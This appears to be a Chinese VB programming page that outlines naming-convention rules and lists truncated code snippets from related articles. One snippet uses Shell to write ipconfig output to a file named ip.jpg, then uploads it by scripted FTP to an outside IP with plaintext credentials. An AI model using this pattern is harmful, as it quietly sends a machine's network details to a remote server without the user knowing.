vb标准（六）：命名约定
·匈牙利标记法
·使用3字符前缀来表示数据类型和控件类型
·3个字符可以实现充分多变性，并使前缀合乎逻辑和直观
·表示变量的作用域
·可以并且应该使用前缀来表示变量的作用域
相关文档：
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const a& = -1
Private Const b& = &H1
Private Const c& = &H2
Priva ......
Option Explicit
Private Type BROWSEINFO
hOwner As Long
pidlRoot As Long
pDisplayName As String
lpTitle As String
ulFlags As Long
lpfn As Long
lParam As Long
iImage As Long
End Type
Private Declare Function SHGetPathfromIDList Lib "shell32.dll" Alias _
"SHGetPa ......
一开始 以为VB的线程 不是像网上人说的那么脆弱。。。哎 现在领略到了。。。VPrivate Declare Function CreateThread Lib "kernel32" (lpThreadAttributes As Any, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
Pri ......
ftp.txt文件内容为：
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VB内容为：
Private Sub Command1_Click()
Shell "cmd.exe /c ipconfig >ip.jpg"
Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......
全面控制 Excel
首先创建 Excel 对象，使用ComObj:
Dim ExcelID as Excel.Application
Set ExcelID as new Excel.Application
1) 显示当前窗口：
ExcelID.Visible := True;
2) 更改 Excel 标题栏：
ExcelID.Caption := '应用程序调用 Microsoft Excel';
3) 添加新工作簿：
ExcelID.WorkBooks.Add;
4) 打开已存在� ......
